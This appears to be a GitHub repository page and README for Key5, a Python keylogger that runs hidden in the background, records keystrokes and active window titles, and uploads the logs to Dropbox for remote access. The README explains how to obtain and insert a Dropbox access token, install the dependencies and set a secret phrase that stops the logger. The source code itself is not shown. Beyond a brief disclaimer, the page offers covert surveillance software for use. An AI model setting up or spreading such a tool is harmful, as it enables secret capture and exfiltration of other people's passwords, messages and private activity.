Skip to content

Key5 is a Python-based keystroke logger designed for discreet monitoring. This lightweight and stealthy application run silently in the background, capturing keystrokes and active application data.

Notifications You must be signed in to change notification settings

Rexaintreal/key5

Repository files navigation

Key5

Key5 Logo

License: MIT Python: 3.8

Key5 is a discreet Python application designed for keyboard input monitoring. It operates in stealth mode, logging keystrokes and uploading the log file to Dropbox for remote access. Use it responsibly and comply with legal and ethical standards.


Warning: This program monitors keyboard inputs and logs them. Use responsibly and ensure compliance with legal and ethical standards.

Table of Contents


Features

  • Stealth Mode: Operates silently in the background without a console window.
  • Remote Logging: Logs keyboard inputs and uploads the log file to Dropbox.
  • Secret Phrase: Allows you to terminate the program with a secret key combination.

How it Works

Key5 uses the pynput library to monitor keyboard inputs. The program runs in the background and logs keystrokes, capturing the active application at the time of input. The log file is periodically uploaded to Dropbox using the Dropbox API for remote access.

Installation

Clone the Repository:

https://github.com/Rexaintreal/key5.git

Configuration

Before running Key5, you need to perform a few configuration steps:

  1. Obtain Dropbox API Credentials:

    • Visit the Dropbox Developer Console.
    • Create a new app to get the APP_KEY and APP_SECRET.
    • Generate an access token with the necessary permissions.
  2. Update Dropbox Access Token:

    • Open the key5.py file.
    • Replace DROPBOX_ACCESS_TOKEN with the obtained access token.
    # Dropbox API credentials
    DROPBOX_ACCESS_TOKEN = 'your_access_token_here'

Set Secret Termination Phrase

Key5 uses a secret termination phrase to allow you to exit the program and upload logs to Dropbox securely. Follow these steps to set the secret termination phrase:

  1. Open the key5.py file in your preferred code editor.

  2. Locate the secret_phrase list in the script:

    # Secret termination phrase
    secret_phrase = ['t', 'e', 'r', 'm', 'i', 'n', 'a', 't', 'e']

    Dependencies

Key5 relies on the following Python libraries and tools:

  • pynput: A library to control and monitor input devices.

  • dropbox: The Dropbox SDK for Python, used for uploading logs to Dropbox.

  • plyer: A Python library for accessing features commonly found on various platforms.

  • pygetwindow: A simple module for getting window information.

  • requests: A popular Python library for making HTTP requests.

  • datetime: A module supplying classes for working with dates and times.

  • socket: A low-level networking interface in Python.

  • os: A module for interacting with the operating system.

These dependencies can be installed using the following command:

pip install pynput dropbox plyer pygetwindow requests

Ensure you have Python installed on your system before installing these dependencies.

For Dropbox integration, you need to have a Dropbox account and create a Dropbox app to obtain the necessary API credentials.

Obtaining Dropbox API Token

Before you can use Key5 to log keyboard inputs and upload the log file to Dropbox, you need to obtain a Dropbox API token. Follow these steps:

  1. Visit the Dropbox Developer Console.

  2. Create a new app:

    • Click on "Create app."
    • Select "Scoped access."
    • Choose the type of access your app needs (e.g., "Full dropbox" or "App folder").
    • Enter a unique name for your app.
  3. Generate an access token:

    • Scroll down to the "OAuth 2" section.
    • Click on the "Generate" button under the "OAuth 2 access token" heading.
  4. Copy the generated access token.

  5. Open the key5.py file in your preferred code editor.

  6. Locate the DROPBOX_ACCESS_TOKEN variable in the script.

  7. Replace 'your_access_token_here' with the copied access token:

    # Dropbox API credentials
    DROPBOX_ACCESS_TOKEN = 'your_access_token_here'

Author

Key5 was created by Saurabh Tiwari.

You may also like...

About

Key5 is a Python-based keystroke logger designed for discreet monitoring. This lightweight and stealthy application run silently in the background, capturing keystrokes and active application data.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages